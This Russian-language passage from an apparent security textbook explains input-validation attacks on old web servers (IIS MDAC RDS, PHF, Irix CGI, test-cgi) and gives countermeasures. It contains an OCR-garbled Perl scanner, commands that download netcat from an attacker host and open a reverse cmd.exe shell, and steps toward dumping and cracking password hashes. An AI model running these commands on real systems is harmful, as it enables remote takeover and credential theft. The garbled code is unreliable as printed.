Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода

Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере.

Изъян MDAC RDS IIS 4.0


Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере.
Первопричина проблемы заключается в объекте DataFactory службы RDS. По умолчанию он позволяет передавать удаленные команды серверу I1S. В этом случае команды запускаются с правами эффективного пользователя этой службы, которым обычно является пользователь SYSTEM (внутренний пользователь, обладающий привилегиями администратора). Это означает, что взломщик может получить удаленный доступ с правами администратора к любому серверу в мире', у которого имеется такой изъян.
Для проверки этой концепции компания Rain.forest.puppy разработала свой сценарий на языке Perl (его можно загрузить с Web-узла компании Security Focus http://vww.securityfocus.com), посылающий запрос RDS в базу данных, которая служит в качестве образца и называется btcustmr.mdb. Целью запроса является запуск на сервере команды, вводимой пользователем.
Поиск уязвимых серверов в сети представляется простой задачей. Посмотрим, как можно обнаружить компоненты MDAC службы RDS. С помощью утилиты netcat и языка Perl можно просканировать подсети в поисках признаков уязвимого сервера — наличия динамически подключаемой библиотеки msadcs.dll. Если в результате обработки HTML-запроса будет получена строка appiication/x-varg, значит, высока вероятность того (хотя и не на 100%), что данная система уязвима. Ниже для примера приведен код на языке Perl, с помощью которого можно обнаружить данный изъян.

#!/usr/bin/perl
if ($|ARGV < 0) {
print "Ошибка в синтаксиме - попробуйте eщe pas.";
print ": mdac.pl 10.1.2.3-255";}
doit($ARGV[0]); foreach $item (@hosts)
{ portscan($item); }
close OUTFILE;
sub doit { $line = $_[0];
if ($line!=/#/) {
if ($line=~/-/) {
Stmp = split/-/, $line;
Ship = split//, $tmp[0];
@eip = split//, $tmp[lj;
} else
{
@bip = split//, $line;
@eip = split//, $line; }
$al = $bip[0];
$bl = $bip[l];
$cl = $bip[2];
$dl = $bip[3];
Snum = @eip; if ($num==l)
{ $a2 = $bip[0]
$b2 = $bip[l]
$c2 = $bip[2]
$d2 = $eip[0]
} elsif
($num==2)
{$a2 = $bip[0]
$b2 = $bip[l]
$c2 = $eip[0]
$d2 = $eip[l] }
elsif
($num==3)
{
$a2 = $bip[0]
$b2 = $eip[0]
$c2 = $eip[l]
$d2 = $eip[2]
} elsif
($num== )
{
$a2 = $eip[0]
$b2 '-= $eip[l]
$c2 = $eip[2]
$d2 = $eip[3] }
# Ha базк IP-адреса подсети (класс A, B, C)задаем
# корректные значения переменных.
check_end(); $aend=$a2;
# Создание массива.
while
($al < $aend)
( while ($bl < $bend)
{ while ($cl < $cend)
{ while ($dl < Sdend) {
push (@hosts, "$al.$bl.$cl.$dl">;
$dl+=l;
check_end();
}
$cl+=l;
$dl=0;
}
$bl+=l;
$cl=0;
}
$al+=l; $bl=0; } } }
sub portscan ( my $target = $_[0];
print "Сканируется порт $target."; local $/;
open(SCAN,"nc -vzn -w 2 $target 80 2»
&1I");
# Порт открыт
$result = <SCAN>;
if ($result=~/open/)
{
print "\tПорт 80 Ha $target открыт . \n";
print OUTFILE "порт 80 открыт\n";
open (HTTP, ">http.tmp");
print HTTP "GET /msadc/msadcs.dll HTTP/1.0\n\n";
close HTTP;
open(SCAN2, "type http.tmp I nc -nvv -w 2 $target 80 2>&1 I");
$result2 = <SCAN2>;
if (Sresult2=~/Microsoft-IIS4.07)
{
if ($result2=~/x-varg/){
print "
$target уязвима против атаки MDAC.";
print OUTFILE "$target
может быть уязвима против атаки &MDAC.";
}
}
close SCAN;
}
}
sub check_end
{
if (($al==$a2) &S ($bl==$b2) &
s ($cl==$c2)) {
$dend=$d2; }
else {
$dend=255; }
if (($al==$a2) &&
($bl==$b2)) {
$cend=$c2; }
else {
$cend=255; }
if ($al= =$a2)
{
$bend=$b2; - }
else {
$bend=255;
}
}

При использовании параметра -n команды netcat требуется, чтобы в командной строке явно указывался IP-адрес

"Анатомия" атаки


Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом.

C:\>perl mdac_exploit.pl -h 192.168.50.11
-- RDS exploit by rain forest puppy/ADM/Wiretrip--
Command: <run your command here>
Step 1: Trying raw driver to btcustmr.mdb
winnt -> c: Success!

Разработка корректной команды для системы NT — непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд,

"cd SystemRoot £& echo $ftp_user>ftptmp
&& echo $ftp_pass»ftptmp
&& echo bin»ftptmp &&
echo get nc. exe»ftptmp
&£ echo bye»ftptmp &£
ftp -s:ftptmp $ftp_ip &&
del ftptmp &&
attrib -r nc.exe && nc
-e cmd.exe $my_ip $my_port"

При использовании TFTP аналогичные команды будут выглядеть следующим образом,

"cd\%SystemRoot\%
&&tftp-i $tftp_ip GET nc.exe nc.exe &S
attrib
-r nc.exe && nc -e cmd.exe $my_ip $my_port"

Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John vl.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр.

Контрмеры: защита компонентов МDАС службы RDS


Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера. 

Изъяны CGI


По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование.

Сценарии PHF


Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу.

Контрмеры: защита сценариев РНР


Предотвращение


Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется.

Обнаружение


Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно.

С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.

Изъяны CGI системы Irix


Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле. 

Контрмеры против использования изъянов CGI систем Irix


Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу http://www.sgi.com/support/patch_intro.html.

test-cgi


Впервые об этом изъяне широкой общественности сообщила группа L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin).

http://192.168.51.101/cgi-bin/test-cgi?*

 В результате на экран будет выведено значение переменной окружения QUERY_STRING.

QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi
search.pl
test-cgi wwwcount.cgi

Конечно же, получение перечня имеющихся в системе сценариев поможет взломщику найти другие слабые места, через которые можно будет получить доступ к Web-серверу, например PHF, PHP и т.д. Эта информация откроет взломщику доступ к удаленному узлу с правами пользователя или даже суперпользователя, а впоследствии он добьется контроля над всей системой UNIX.

Контрмеры против использования изъянов ССI


Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев.